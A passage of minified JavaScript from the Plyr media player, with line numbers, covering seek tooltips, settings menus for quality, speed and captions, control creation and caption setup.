| 1594 |
var s = a.getElementsByTagName("span")[0]; |
| 1595 |
m.element(s) && (s.childNodes[0].nodeValue = i); |
| 1596 |
} |
| 1597 |
})(this.elements.display.buffer, 100 * this.buffered); |
| 1598 |
} |
| 1599 |
} |
| 1600 |
}, |
| 1601 |
updateRangeFill: function (e) { |
| 1602 |
var t = m.event(e) ? e.target : e; |
| 1603 |
if (m.element(t) && "range" === t.getAttribute("type")) { |
| 1604 |
if (I(t, this.config.selectors.inputs.seek)) { |
| 1605 |
t.setAttribute("aria-valuenow", this.currentTime); |
| 1606 |
var n = ce.formatTime(this.currentTime), |
| 1607 |
i = ce.formatTime(this.duration), |
| 1608 |
a = te("seekLabel", this.config); |
| 1609 |
t.setAttribute( |
| 1610 |
"aria-valuetext", |
| 1611 |
a.replace("{currentTime}", n).replace("{duration}", i) |
| 1612 |
); |
| 1613 |
} else if (I(t, this.config.selectors.inputs.volume)) { |
| 1614 |
var s = 100 * t.value; |
| 1615 |
t.setAttribute("aria-valuenow", s), |
| 1616 |
t.setAttribute("aria-valuetext", "".concat(s.toFixed(1), "%")); |
| 1617 |
} else t.setAttribute("aria-valuenow", t.value); |
| 1618 |
F.isWebkit && |
| 1619 |
t.style.setProperty( |
| 1620 |
"--value", |
| 1621 |
"".concat((t.value / t.max) * 100, "%") |
| 1622 |
); |
| 1623 |
} |
| 1624 |
}, |
| 1625 |
updateSeekTooltip: function (e) { |
| 1626 |
var t = this; |
| 1627 |
if ( |
| 1628 |
this.config.tooltips.seek && |
| 1629 |
m.element(this.elements.inputs.seek) && |
| 1630 |
m.element(this.elements.display.seekTooltip) && |
| 1631 |
0 !== this.duration |
| 1632 |
) { |
| 1633 |
var n = 0, |
| 1634 |
i = this.elements.progress.getBoundingClientRect(), |
| 1635 |
a = "".concat(this.config.classNames.tooltip, "--visible"), |
| 1636 |
s = function (e) { |
| 1637 |
L(t.elements.display.seekTooltip, a, e); |
| 1638 |
}; |
| 1639 |
if (this.touch) s(!1); |
| 1640 |
else { |
| 1641 |
if (m.event(e)) n = (100 / i.width) * (e.pageX - i.left); |
| 1642 |
else { |
| 1643 |
if (!x(this.elements.display.seekTooltip, a)) return; |
| 1644 |
n = parseFloat(this.elements.display.seekTooltip.style.left, 10); |
| 1645 |
} |
| 1646 |
n < 0 ? (n = 0) : n > 100 && (n = 100), |
| 1647 |
ce.updateTimeDisplay.call( |
| 1648 |
this, |
| 1649 |
this.elements.display.seekTooltip, |
| 1650 |
(this.duration / 100) * n |
| 1651 |
), |
| 1652 |
(this.elements.display.seekTooltip.style.left = "".concat( |
| 1653 |
n, |
| 1654 |
"%" |
| 1655 |
)), |
| 1656 |
m.event(e) && |
| 1657 |
["mouseenter", "mouseleave"].includes(e.type) && |
| 1658 |
s("mouseenter" === e.type); |
| 1659 |
} |
| 1660 |
} |
| 1661 |
}, |
| 1662 |
timeUpdate: function (e) { |
| 1663 |
var t = |
| 1664 |
!m.element(this.elements.display.duration) && this.config.invertTime; |
| 1665 |
ce.updateTimeDisplay.call( |
| 1666 |
this, |
| 1667 |
this.elements.display.currentTime, |
| 1668 |
t ? this.duration - this.currentTime : this.currentTime, |
| 1669 |
t |
| 1670 |
), |
| 1671 |
(e && "timeupdate" === e.type && this.media.seeking) || |
| 1672 |
ce.updateProgress.call(this, e); |
| 1673 |
}, |
| 1674 |
durationUpdate: function () { |
| 1675 |
if ( |
| 1676 |
this.supported.ui && |
| 1677 |
(this.config.invertTime || !this.currentTime) |
| 1678 |
) { |
| 1679 |
if (this.duration >= Math.pow(2, 32)) |
| 1680 |
return ( |
| 1681 |
N(this.elements.display.currentTime, !0), |
| 1682 |
void N(this.elements.progress, !0) |
| 1683 |
); |
| 1684 |
m.element(this.elements.inputs.seek) && |
| 1685 |
this.elements.inputs.seek.setAttribute( |
| 1686 |
"aria-valuemax", |
| 1687 |
this.duration |
| 1688 |
); |
| 1689 |
var e = m.element(this.elements.display.duration); |
| 1690 |
!e && |
| 1691 |
this.config.displayDuration && |
| 1692 |
this.paused && |
| 1693 |
ce.updateTimeDisplay.call( |
| 1694 |
this, |
| 1695 |
this.elements.display.currentTime, |
| 1696 |
this.duration |
| 1697 |
), |
| 1698 |
e && |
| 1699 |
ce.updateTimeDisplay.call( |
| 1700 |
this, |
| 1701 |
this.elements.display.duration, |
| 1702 |
this.duration |
| 1703 |
), |
| 1704 |
ce.updateSeekTooltip.call(this); |
| 1705 |
} |
| 1706 |
}, |
| 1707 |
toggleMenuButton: function (e, t) { |
| 1708 |
N(this.elements.settings.buttons[e], !t); |
| 1709 |
}, |
| 1710 |
updateSetting: function (e, t, n) { |
| 1711 |
var i = this.elements.settings.panels[e], |
| 1712 |
a = null, |
| 1713 |
s = t; |
| 1714 |
if ("captions" === e) a = this.currentTrack; |
| 1715 |
else { |
| 1716 |
if ( |
| 1717 |
((a = m.empty(n) ? this[e] : n), |
| 1718 |
m.empty(a) && (a = this.config[e].default), |
| 1719 |
!m.empty(this.options[e]) && !this.options[e].includes(a)) |
| 1720 |
) |
| 1721 |
return void this.debug.warn( |
| 1722 |
"Unsupported value of '".concat(a, "' for ").concat(e) |
| 1723 |
); |
| 1724 |
if (!this.config[e].options.includes(a)) |
| 1725 |
return void this.debug.warn( |
| 1726 |
"Disabled value of '".concat(a, "' for ").concat(e) |
| 1727 |
); |
| 1728 |
} |
| 1729 |
if ( |
| 1730 |
(m.element(s) || (s = i && i.querySelector('[role="menu"]')), |
| 1731 |
m.element(s)) |
| 1732 |
) { |
| 1733 |
this.elements.settings.buttons[e].querySelector( |
| 1734 |
".".concat(this.config.classNames.menu.value) |
| 1735 |
).innerHTML = ce.getLabel.call(this, e, a); |
| 1736 |
var o = s && s.querySelector('[value="'.concat(a, '"]')); |
| 1737 |
m.element(o) && (o.checked = !0); |
| 1738 |
} |
| 1739 |
}, |
| 1740 |
getLabel: function (e, t) { |
| 1741 |
switch (e) { |
| 1742 |
case "speed": |
| 1743 |
return 1 === t |
| 1744 |
? te("normal", this.config) |
| 1745 |
: "".concat(t, "×"); |
| 1746 |
case "quality": |
| 1747 |
if (m.number(t)) { |
| 1748 |
var n = te("qualityLabel.".concat(t), this.config); |
| 1749 |
return n.length ? n : "".concat(t, "p"); |
| 1750 |
} |
| 1751 |
return G(t); |
| 1752 |
case "captions": |
| 1753 |
return he.getLabel.call(this); |
| 1754 |
default: |
| 1755 |
return null; |
| 1756 |
} |
| 1757 |
}, |
| 1758 |
setQualityMenu: function (e) { |
| 1759 |
var t = this; |
| 1760 |
if (m.element(this.elements.settings.panels.quality)) { |
| 1761 |
var n = |
| 1762 |
this.elements.settings.panels.quality.querySelector( |
| 1763 |
'[role="menu"]' |
| 1764 |
); |
| 1765 |
m.array(e) && |
| 1766 |
(this.options.quality = K(e).filter(function (e) { |
| 1767 |
return t.config.quality.options.includes(e); |
| 1768 |
})); |
| 1769 |
var i = |
| 1770 |
!m.empty(this.options.quality) && this.options.quality.length > 1; |
| 1771 |
if ( |
| 1772 |
(ce.toggleMenuButton.call(this, "quality", i), |
| 1773 |
C(n), |
| 1774 |
ce.checkMenu.call(this), |
| 1775 |
i) |
| 1776 |
) { |
| 1777 |
var a = function (e) { |
| 1778 |
var n = te("qualityBadge.".concat(e), t.config); |
| 1779 |
return n.length ? ce.createBadge.call(t, n) : null; |
| 1780 |
}; |
| 1781 |
this.options.quality |
| 1782 |
.sort(function (e, n) { |
| 1783 |
var i = t.config.quality.options; |
| 1784 |
return i.indexOf(e) > i.indexOf(n) ? 1 : -1; |
| 1785 |
}) |
| 1786 |
.forEach(function (e) { |
| 1787 |
ce.createMenuItem.call(t, { |
| 1788 |
value: e, |
| 1789 |
list: n, |
| 1790 |
type: "quality", |
| 1791 |
title: ce.getLabel.call(t, "quality", e), |
| 1792 |
badge: a(e), |
| 1793 |
}); |
| 1794 |
}), |
| 1795 |
ce.updateSetting.call(this, "quality", n); |
| 1796 |
} |
| 1797 |
} |
| 1798 |
}, |
| 1799 |
setCaptionsMenu: function () { |
| 1800 |
var e = this; |
| 1801 |
if (m.element(this.elements.settings.panels.captions)) { |
| 1802 |
var t = |
| 1803 |
this.elements.settings.panels.captions.querySelector( |
| 1804 |
'[role="menu"]' |
| 1805 |
), |
| 1806 |
n = he.getTracks.call(this), |
| 1807 |
i = Boolean(n.length); |
| 1808 |
if ( |
| 1809 |
(ce.toggleMenuButton.call(this, "captions", i), |
| 1810 |
C(t), |
| 1811 |
ce.checkMenu.call(this), |
| 1812 |
i) |
| 1813 |
) { |
| 1814 |
var a = n.map(function (n, i) { |
| 1815 |
return { |
| 1816 |
value: i, |
| 1817 |
checked: e.captions.toggled && e.currentTrack === i, |
| 1818 |
title: he.getLabel.call(e, n), |
| 1819 |
badge: |
| 1820 |
n.language && |
| 1821 |
ce.createBadge.call(e, n.language.toUpperCase()), |
| 1822 |
list: t, |
| 1823 |
type: "language", |
| 1824 |
}; |
| 1825 |
}); |
| 1826 |
a.unshift({ |
| 1827 |
value: -1, |
| 1828 |
checked: !this.captions.toggled, |
| 1829 |
title: te("disabled", this.config), |
| 1830 |
list: t, |
| 1831 |
type: "language", |
| 1832 |
}), |
| 1833 |
a.forEach(ce.createMenuItem.bind(this)), |
| 1834 |
ce.updateSetting.call(this, "captions", t); |
| 1835 |
} |
| 1836 |
} |
| 1837 |
}, |
| 1838 |
setSpeedMenu: function (e) { |
| 1839 |
var t = this; |
| 1840 |
if (m.element(this.elements.settings.panels.speed)) { |
| 1841 |
var n = |
| 1842 |
this.elements.settings.panels.speed.querySelector('[role="menu"]'); |
| 1843 |
m.array(e) |
| 1844 |
? (this.options.speed = e) |
| 1845 |
: (this.isHTML5 || this.isVimeo) && |
| 1846 |
(this.options.speed = [0.5, 0.75, 1, 1.25, 1.5, 1.75, 2]), |
| 1847 |
(this.options.speed = this.options.speed.filter(function (e) { |
| 1848 |
return t.config.speed.options.includes(e); |
| 1849 |
})); |
| 1850 |
var i = !m.empty(this.options.speed) && this.options.speed.length > 1; |
| 1851 |
ce.toggleMenuButton.call(this, "speed", i), |
| 1852 |
C(n), |
| 1853 |
ce.checkMenu.call(this), |
| 1854 |
i && |
| 1855 |
(this.options.speed.forEach(function (e) { |
| 1856 |
ce.createMenuItem.call(t, { |
| 1857 |
value: e, |
| 1858 |
list: n, |
| 1859 |
type: "speed", |
| 1860 |
title: ce.getLabel.call(t, "speed", e), |
| 1861 |
}); |
| 1862 |
}), |
| 1863 |
ce.updateSetting.call(this, "speed", n)); |
| 1864 |
} |
| 1865 |
}, |
| 1866 |
checkMenu: function () { |
| 1867 |
var e = this.elements.settings.buttons, |
| 1868 |
t = |
| 1869 |
!m.empty(e) && |
| 1870 |
Object.values(e).some(function (e) { |
| 1871 |
return !e.hidden; |
| 1872 |
}); |
| 1873 |
N(this.elements.settings.menu, !t); |
| 1874 |
}, |
| 1875 |
focusFirstMenuItem: function (e) { |
| 1876 |
var t = arguments.length > 1 && void 0 !== arguments[1] && arguments[1]; |
| 1877 |
if (!this.elements.settings.popup.hidden) { |
| 1878 |
var n = e; |
| 1879 |
m.element(n) || |
| 1880 |
(n = Object.values(this.elements.settings.panels).find( |
| 1881 |
function (e) { |
| 1882 |
return !e.hidden; |
| 1883 |
} |
| 1884 |
)); |
| 1885 |
var i = n.querySelector('[role^="menuitem"]'); |
| 1886 |
O.call(this, i, t); |
| 1887 |
} |
| 1888 |
}, |
| 1889 |
toggleMenu: function (e) { |
| 1890 |
var t = this.elements.settings.popup, |
| 1891 |
n = this.elements.buttons.settings; |
| 1892 |
if (m.element(t) && m.element(n)) { |
| 1893 |
var i = t.hidden, |
| 1894 |
a = i; |
| 1895 |
if (m.boolean(e)) a = e; |
| 1896 |
else if (m.keyboardEvent(e) && 27 === e.which) a = !1; |
| 1897 |
else if (m.event(e)) { |
| 1898 |
var s = t.contains(e.target); |
| 1899 |
if (s || (!s && e.target !== n && a)) return; |
| 1900 |
} |
| 1901 |
n.setAttribute("aria-expanded", a), |
| 1902 |
N(t, !a), |
| 1903 |
L(this.elements.container, this.config.classNames.menu.open, a), |
| 1904 |
a && m.keyboardEvent(e) |
| 1905 |
? ce.focusFirstMenuItem.call(this, null, !0) |
| 1906 |
: a || i || O.call(this, n, m.keyboardEvent(e)); |
| 1907 |
} |
| 1908 |
}, |
| 1909 |
getMenuSize: function (e) { |
| 1910 |
var t = e.cloneNode(!0); |
| 1911 |
(t.style.position = "absolute"), |
| 1912 |
(t.style.opacity = 0), |
| 1913 |
t.removeAttribute("hidden"), |
| 1914 |
e.parentNode.appendChild(t); |
| 1915 |
var n = t.scrollWidth, |
| 1916 |
i = t.scrollHeight; |
| 1917 |
return P(t), { width: n, height: i }; |
| 1918 |
}, |
| 1919 |
showMenuPanel: function () { |
| 1920 |
var e = this, |
| 1921 |
t = |
| 1922 |
arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : "", |
| 1923 |
n = arguments.length > 1 && void 0 !== arguments[1] && arguments[1], |
| 1924 |
i = document.getElementById( |
| 1925 |
"plyr-settings-".concat(this.id, "-").concat(t) |
| 1926 |
); |
| 1927 |
if (m.element(i)) { |
| 1928 |
var a = i.parentNode, |
| 1929 |
s = Array.from(a.children).find(function (e) { |
| 1930 |
return !e.hidden; |
| 1931 |
}); |
| 1932 |
if (W.transitions && !W.reducedMotion) { |
| 1933 |
(a.style.width = "".concat(s.scrollWidth, "px")), |
| 1934 |
(a.style.height = "".concat(s.scrollHeight, "px")); |
| 1935 |
var o = ce.getMenuSize.call(this, i); |
| 1936 |
y.call(this, a, D, function t(n) { |
| 1937 |
n.target === a && |
| 1938 |
["width", "height"].includes(n.propertyName) && |
| 1939 |
((a.style.width = ""), |
| 1940 |
(a.style.height = ""), |
| 1941 |
v.call(e, a, D, t)); |
| 1942 |
}), |
| 1943 |
(a.style.width = "".concat(o.width, "px")), |
| 1944 |
(a.style.height = "".concat(o.height, "px")); |
| 1945 |
} |
| 1946 |
N(s, !0), N(i, !1), ce.focusFirstMenuItem.call(this, i, n); |
| 1947 |
} |
| 1948 |
}, |
| 1949 |
setDownloadLink: function () { |
| 1950 |
var e = this.elements.buttons.download; |
| 1951 |
m.element(e) && e.setAttribute("href", this.download); |
| 1952 |
}, |
| 1953 |
create: function (e) { |
| 1954 |
var t = this, |
| 1955 |
n = A("div", M(this.config.selectors.controls.wrapper)); |
| 1956 |
if ( |
| 1957 |
(this.config.controls.includes("restart") && |
| 1958 |
n.appendChild(ce.createButton.call(this, "restart")), |
| 1959 |
this.config.controls.includes("rewind") && |
| 1960 |
n.appendChild(ce.createButton.call(this, "rewind")), |
| 1961 |
this.config.controls.includes("play") && |
| 1962 |
n.appendChild(ce.createButton.call(this, "play")), |
| 1963 |
this.config.controls.includes("fast-forward") && |
| 1964 |
n.appendChild(ce.createButton.call(this, "fast-forward")), |
| 1965 |
this.config.controls.includes("progress")) |
| 1966 |
) { |
| 1967 |
var i = A("div", M(this.config.selectors.progress)); |
| 1968 |
if ( |
| 1969 |
(i.appendChild( |
| 1970 |
ce.createRange.call(this, "seek", { |
| 1971 |
id: "plyr-seek-".concat(e.id), |
| 1972 |
}) |
| 1973 |
), |
| 1974 |
i.appendChild(ce.createProgress.call(this, "buffer")), |
| 1975 |
this.config.tooltips.seek) |
| 1976 |
) { |
| 1977 |
var a = A( |
| 1978 |
"span", |
| 1979 |
{ class: this.config.classNames.tooltip }, |
| 1980 |
"00:00" |
| 1981 |
); |
| 1982 |
i.appendChild(a), (this.elements.display.seekTooltip = a); |
| 1983 |
} |
| 1984 |
(this.elements.progress = i), n.appendChild(this.elements.progress); |
| 1985 |
} |
| 1986 |
if ( |
| 1987 |
(this.config.controls.includes("current-time") && |
| 1988 |
n.appendChild(ce.createTime.call(this, "currentTime")), |
| 1989 |
this.config.controls.includes("duration") && |
| 1990 |
n.appendChild(ce.createTime.call(this, "duration")), |
| 1991 |
this.config.controls.includes("mute") || |
| 1992 |
this.config.controls.includes("volume")) |
| 1993 |
) { |
| 1994 |
var s = A("div", { class: "plyr__volume" }); |
| 1995 |
if ( |
| 1996 |
(this.config.controls.includes("mute") && |
| 1997 |
s.appendChild(ce.createButton.call(this, "mute")), |
| 1998 |
this.config.controls.includes("volume")) |
| 1999 |
) { |
| 2000 |
var o = { max: 1, step: 0.05, value: this.config.volume }; |
| 2001 |
s.appendChild( |
| 2002 |
ce.createRange.call( |
| 2003 |
this, |
| 2004 |
"volume", |
| 2005 |
J(o, { id: "plyr-volume-".concat(e.id) }) |
| 2006 |
) |
| 2007 |
), |
| 2008 |
(this.elements.volume = s); |
| 2009 |
} |
| 2010 |
n.appendChild(s); |
| 2011 |
} |
| 2012 |
if ( |
| 2013 |
(this.config.controls.includes("captions") && |
| 2014 |
n.appendChild(ce.createButton.call(this, "captions")), |
| 2015 |
this.config.controls.includes("settings") && |
| 2016 |
!m.empty(this.config.settings)) |
| 2017 |
) { |
| 2018 |
var r = A("div", { class: "plyr__menu", hidden: "" }); |
| 2019 |
r.appendChild( |
| 2020 |
ce.createButton.call(this, "settings", { |
| 2021 |
"aria-haspopup": !0, |
| 2022 |
"aria-controls": "plyr-settings-".concat(e.id), |
| 2023 |
"aria-expanded": !1, |
| 2024 |
}) |
| 2025 |
); |
| 2026 |
var l = A("div", { |
| 2027 |
class: "plyr__menu__container", |
| 2028 |
id: "plyr-settings-".concat(e.id), |
| 2029 |
hidden: "", |
| 2030 |
}), |
| 2031 |
c = A("div"), |
| 2032 |
u = A("div", { id: "plyr-settings-".concat(e.id, "-home") }), |
| 2033 |
d = A("div", { role: "menu" }); |
| 2034 |
u.appendChild(d), |
| 2035 |
c.appendChild(u), |
| 2036 |
(this.elements.settings.panels.home = u), |
| 2037 |
this.config.settings.forEach(function (n) { |
| 2038 |
var i = A( |
| 2039 |
"button", |
| 2040 |
J(M(t.config.selectors.buttons.settings), { |
| 2041 |
type: "button", |
| 2042 |
class: "" |
| 2043 |
.concat(t.config.classNames.control, " ") |
| 2044 |
.concat(t.config.classNames.control, "--forward"), |
| 2045 |
role: "menuitem", |
| 2046 |
"aria-haspopup": !0, |
| 2047 |
hidden: "", |
| 2048 |
}) |
| 2049 |
); |
| 2050 |
ce.bindMenuItemShortcuts.call(t, i, n), |
| 2051 |
y(i, "click", function () { |
| 2052 |
ce.showMenuPanel.call(t, n, !1); |
| 2053 |
}); |
| 2054 |
var a = A("span", null, te(n, t.config)), |
| 2055 |
s = A("span", { class: t.config.classNames.menu.value }); |
| 2056 |
(s.innerHTML = e[n]), |
| 2057 |
a.appendChild(s), |
| 2058 |
i.appendChild(a), |
| 2059 |
d.appendChild(i); |
| 2060 |
var o = A("div", { |
| 2061 |
id: "plyr-settings-".concat(e.id, "-").concat(n), |
| 2062 |
hidden: "", |
| 2063 |
}), |
| 2064 |
r = A("button", { |
| 2065 |
type: "button", |
| 2066 |
class: "" |
| 2067 |
.concat(t.config.classNames.control, " ") |
| 2068 |
.concat(t.config.classNames.control, "--back"), |
| 2069 |
}); |
| 2070 |
r.appendChild(A("span", { "aria-hidden": !0 }, te(n, t.config))), |
| 2071 |
r.appendChild( |
| 2072 |
A( |
| 2073 |
"span", |
| 2074 |
{ class: t.config.classNames.hidden }, |
| 2075 |
te("menuBack", t.config) |
| 2076 |
) |
| 2077 |
), |
| 2078 |
y( |
| 2079 |
o, |
| 2080 |
"keydown", |
| 2081 |
function (e) { |
| 2082 |
37 === e.which && |
| 2083 |
(e.preventDefault(), |
| 2084 |
e.stopPropagation(), |
| 2085 |
ce.showMenuPanel.call(t, "home", !0)); |
| 2086 |
}, |
| 2087 |
!1 |
| 2088 |
), |
| 2089 |
y(r, "click", function () { |
| 2090 |
ce.showMenuPanel.call(t, "home", !1); |
| 2091 |
}), |
| 2092 |
o.appendChild(r), |
| 2093 |
o.appendChild(A("div", { role: "menu" })), |
| 2094 |
c.appendChild(o), |
| 2095 |
(t.elements.settings.buttons[n] = i), |
| 2096 |
(t.elements.settings.panels[n] = o); |
| 2097 |
}), |
| 2098 |
l.appendChild(c), |
| 2099 |
r.appendChild(l), |
| 2100 |
n.appendChild(r), |
| 2101 |
(this.elements.settings.popup = l), |
| 2102 |
(this.elements.settings.menu = r); |
| 2103 |
} |
| 2104 |
if ( |
| 2105 |
(this.config.controls.includes("pip") && |
| 2106 |
W.pip && |
| 2107 |
n.appendChild(ce.createButton.call(this, "pip")), |
| 2108 |
this.config.controls.includes("airplay") && |
| 2109 |
W.airplay && |
| 2110 |
n.appendChild(ce.createButton.call(this, "airplay")), |
| 2111 |
this.config.controls.includes("download")) |
| 2112 |
) { |
| 2113 |
var h = { element: "a", href: this.download, target: "_blank" }, |
| 2114 |
p = this.config.urls.download; |
| 2115 |
!m.url(p) && |
| 2116 |
this.isEmbed && |
| 2117 |
J(h, { icon: "logo-".concat(this.provider), label: this.provider }), |
| 2118 |
n.appendChild(ce.createButton.call(this, "download", h)); |
| 2119 |
} |
| 2120 |
return ( |
| 2121 |
this.config.controls.includes("fullscreen") && |
| 2122 |
n.appendChild(ce.createButton.call(this, "fullscreen")), |
| 2123 |
this.config.controls.includes("play-large") && |
| 2124 |
this.elements.container.appendChild( |
| 2125 |
ce.createButton.call(this, "play-large") |
| 2126 |
), |
| 2127 |
(this.elements.controls = n), |
| 2128 |
this.isHTML5 && |
| 2129 |
ce.setQualityMenu.call(this, z.getQualityOptions.call(this)), |
| 2130 |
ce.setSpeedMenu.call(this), |
| 2131 |
n |
| 2132 |
); |
| 2133 |
}, |
| 2134 |
inject: function () { |
| 2135 |
var e = this; |
| 2136 |
if (this.config.loadSprite) { |
| 2137 |
var t = ce.getIconUrl.call(this); |
| 2138 |
t.cors && ae(t.url, "sprite-plyr"); |
| 2139 |
} |
| 2140 |
this.id = Math.floor(1e4 * Math.random()); |
| 2141 |
var n = null; |
| 2142 |
this.elements.controls = null; |
| 2143 |
var i = { |
| 2144 |
id: this.id, |
| 2145 |
seektime: this.config.seekTime, |
| 2146 |
title: this.config.title, |
| 2147 |
}, |
| 2148 |
s = !0; |
| 2149 |
m.function(this.config.controls) && |
| 2150 |
(this.config.controls = this.config.controls.call(this, i)), |
| 2151 |
this.config.controls || (this.config.controls = []), |
| 2152 |
m.element(this.config.controls) || m.string(this.config.controls) |
| 2153 |
? (n = this.config.controls) |
| 2154 |
: ((n = ce.create.call(this, { |
| 2155 |
id: this.id, |
| 2156 |
seektime: this.config.seekTime, |
| 2157 |
speed: this.speed, |
| 2158 |
quality: this.quality, |
| 2159 |
captions: he.getLabel.call(this), |
| 2160 |
})), |
| 2161 |
(s = !1)); |
| 2162 |
var o, |
| 2163 |
r = function (e) { |
| 2164 |
var t = e; |
| 2165 |
return ( |
| 2166 |
Object.entries(i).forEach(function (e) { |
| 2167 |
var n = a(e, 2), |
| 2168 |
i = n[0], |
| 2169 |
s = n[1]; |
| 2170 |
t = $(t, "{".concat(i, "}"), s); |
| 2171 |
}), |
| 2172 |
t |
| 2173 |
); |
| 2174 |
}; |
| 2175 |
if ( |
| 2176 |
(s && |
| 2177 |
(m.string(this.config.controls) |
| 2178 |
? (n = r(n)) |
| 2179 |
: m.element(n) && (n.innerHTML = r(n.innerHTML))), |
| 2180 |
m.string(this.config.selectors.controls.container) && |
| 2181 |
(o = document.querySelector( |
| 2182 |
this.config.selectors.controls.container |
| 2183 |
)), |
| 2184 |
m.element(o) || (o = this.elements.container), |
| 2185 |
o[m.element(n) ? "insertAdjacentElement" : "insertAdjacentHTML"]( |
| 2186 |
"afterbegin", |
| 2187 |
n |
| 2188 |
), |
| 2189 |
m.element(this.elements.controls) || ce.findElements.call(this), |
| 2190 |
!m.empty(this.elements.buttons)) |
| 2191 |
) { |
| 2192 |
var l = function (t) { |
| 2193 |
var n = e.config.classNames.controlPressed; |
| 2194 |
Object.defineProperty(t, "pressed", { |
| 2195 |
enumerable: !0, |
| 2196 |
get: function () { |
| 2197 |
return x(t, n); |
| 2198 |
}, |
| 2199 |
set: function () { |
| 2200 |
var e = |
| 2201 |
arguments.length > 0 && |
| 2202 |
void 0 !== arguments[0] && |
| 2203 |
arguments[0]; |
| 2204 |
L(t, n, e); |
| 2205 |
}, |
| 2206 |
}); |
| 2207 |
}; |
| 2208 |
Object.values(this.elements.buttons) |
| 2209 |
.filter(Boolean) |
| 2210 |
.forEach(function (e) { |
| 2211 |
m.array(e) || m.nodeList(e) |
| 2212 |
? Array.from(e).filter(Boolean).forEach(l) |
| 2213 |
: l(e); |
| 2214 |
}); |
| 2215 |
} |
| 2216 |
if ( |
| 2217 |
(window.navigator.userAgent.includes("Edge") && H(o), |
| 2218 |
this.config.tooltips.controls) |
| 2219 |
) { |
| 2220 |
var c = this.config, |
| 2221 |
u = c.classNames, |
| 2222 |
d = c.selectors, |
| 2223 |
h = "" |
| 2224 |
.concat(d.controls.wrapper, " ") |
| 2225 |
.concat(d.labels, " .") |
| 2226 |
.concat(u.hidden), |
| 2227 |
p = _.call(this, h); |
| 2228 |
Array.from(p).forEach(function (t) { |
| 2229 |
L(t, e.config.classNames.hidden, !1), |
| 2230 |
L(t, e.config.classNames.tooltip, !0); |
| 2231 |
}); |
| 2232 |
} |
| 2233 |
}, |
| 2234 |
}; |
| 2235 |
function ue(e) { |
| 2236 |
var t = e; |
| 2237 |
if (!(arguments.length > 1 && void 0 !== arguments[1]) || arguments[1]) { |
| 2238 |
var n = document.createElement("a"); |
| 2239 |
(n.href = t), (t = n.href); |
| 2240 |
} |
| 2241 |
try { |
| 2242 |
return new URL(t); |
| 2243 |
} catch (e) { |
| 2244 |
return null; |
| 2245 |
} |
| 2246 |
} |
| 2247 |
function de(e) { |
| 2248 |
var t = new URLSearchParams(); |
| 2249 |
return ( |
| 2250 |
m.object(e) && |
| 2251 |
Object.entries(e).forEach(function (e) { |
| 2252 |
var n = a(e, 2), |
| 2253 |
i = n[0], |
| 2254 |
s = n[1]; |
| 2255 |
t.set(i, s); |
| 2256 |
}), |
| 2257 |
t |
| 2258 |
); |
| 2259 |
} |
| 2260 |
var he = { |
| 2261 |
setup: function () { |
| 2262 |
if (this.supported.ui) |
| 2263 |
if ( |
| 2264 |
!this.isVideo || |
| 2265 |
this.isYouTube || |
| 2266 |
(this.isHTML5 && !W.textTracks) |
| 2267 |
) |
| 2268 |
m.array(this.config.controls) && |
| 2269 |
this.config.controls.includes("settings") && |
| 2270 |
this.config.settings.includes("captions") && |
| 2271 |
ce.setCaptionsMenu.call(this); |
| 2272 |
else { |
| 2273 |
var e, t; |
| 2274 |
if ( |
| 2275 |
(m.element(this.elements.captions) || |
| 2276 |
((this.elements.captions = A( |
| 2277 |
"div", |
| 2278 |
M(this.config.selectors.captions) |
| 2279 |
)), |
| 2280 |
(e = this.elements.captions), |
| 2281 |
(t = this.elements.wrapper), |
| 2282 |
m.element(e) && |
| 2283 |
m.element(t) && |
| 2284 |
t.parentNode.insertBefore(e, t.nextSibling)), |
| 2285 |
F.isIE && window.URL) |
| 2286 |
) { |
| 2287 |
var n = this.media.querySelectorAll("track"); |
| 2288 |
Array.from(n).forEach(function (e) { |
| 2289 |
var t = e.getAttribute("src"), |
| 2290 |
n = ue(t); |
| 2291 |
null !== n && |
| 2292 |
n.hostname !== window.location.href.hostname && |
| 2293 |
["http:", "https:"].includes(n.protocol) && |
| 2294 |
ie(t, "blob") |
| 2295 |
.then(function (t) { |
| 2296 |
e.setAttribute("src", window.URL.createObjectURL(t)); |
| 2297 |
}) |
| 2298 |
.catch(function () { |
| 2299 |
P(e); |
| 2300 |
}); |
| 2301 |
}); |
| 2302 |
} |
| 2303 |
var i = K( |
| 2304 |
( |
| 2305 |
navigator.languages || [ |
| 2306 |
navigator.language || navigator.userLanguage || "en", |
| 2307 |
] |
| 2308 |
).map(function (e) { |
| 2309 |
return e.split("-")[0]; |
| 2310 |
}) |
| 2311 |
), |
| 2312 |
s = ( |
| 2313 |
this.storage.get("language") || |
| 2314 |
this.config.captions.language || |
| 2315 |
"auto" |
| 2316 |
).toLowerCase(); |
| 2317 |
if ("auto" === s) s = a(i, 1)[0]; |
| 2318 |
var o = this.storage.get("captions"); |
| 2319 |
if ( |
| 2320 |
(m.boolean(o) || (o = this.config.captions.active), |
| 2321 |
Object.assign(this.captions, { |
| 2322 |
toggled: !1, |
| 2323 |
active: o, |
| 2324 |
language: s, |
| 2325 |
languages: i, |
| 2326 |
}), |
| 2327 |
this.isHTML5) |
| 2328 |
) { |
| 2329 |
var r = this.config.captions.update |
| 2330 |
? "addtrack removetrack" |
| 2331 |
: "removetrack"; |
| 2332 |
y.call(this, this.media.textTracks, r, he.update.bind(this)); |
| 2333 |
} |
| 2334 |
setTimeout(he.update.bind(this), 0); |
| 2335 |
} |
| 2336 |
}, |
| 2337 |
update: function () { |
| 2338 |
var e = this, |
| 2339 |
t = he.getTracks.call(this, !0), |
| 2340 |
n = this.captions, |
| 2341 |
i = n.active, |
| 2342 |
a = n.language, |
| 2343 |
s = n.meta, |
| 2344 |
o = n.currentTrackNode, |
| 2345 |
r = Boolean( |
| 2346 |
t.find(function (e) { |
| 2347 |
return e.language === a; |
| 2348 |
}) |
| 2349 |
); |
| 2350 |
this.isHTML5 && |
| 2351 |
this.isVideo && |
| 2352 |
t |
| 2353 |
.filter(function (e) { |
| 2354 |
return !s.get(e); |
| 2355 |
}) |
| 2356 |
.forEach(function (t) { |
| 2357 |
e.debug.log("Track added", t), |
| 2358 |
s.set(t, { default: "showing" === t.mode }), |
| 2359 |
(t.mode = "hidden"), |
| 2360 |
y.call(e, t, "cuechange", function () { |
| 2361 |
return he.updateCues.call(e); |
| 2362 |
}); |
| 2363 |
}), |
| 2364 |
((r && this.language !== a) || !t.includes(o)) && |
| 2365 |
(he.setLanguage.call(this, a), he.toggle.call(this, i && r)), |
| 2366 |
L( |
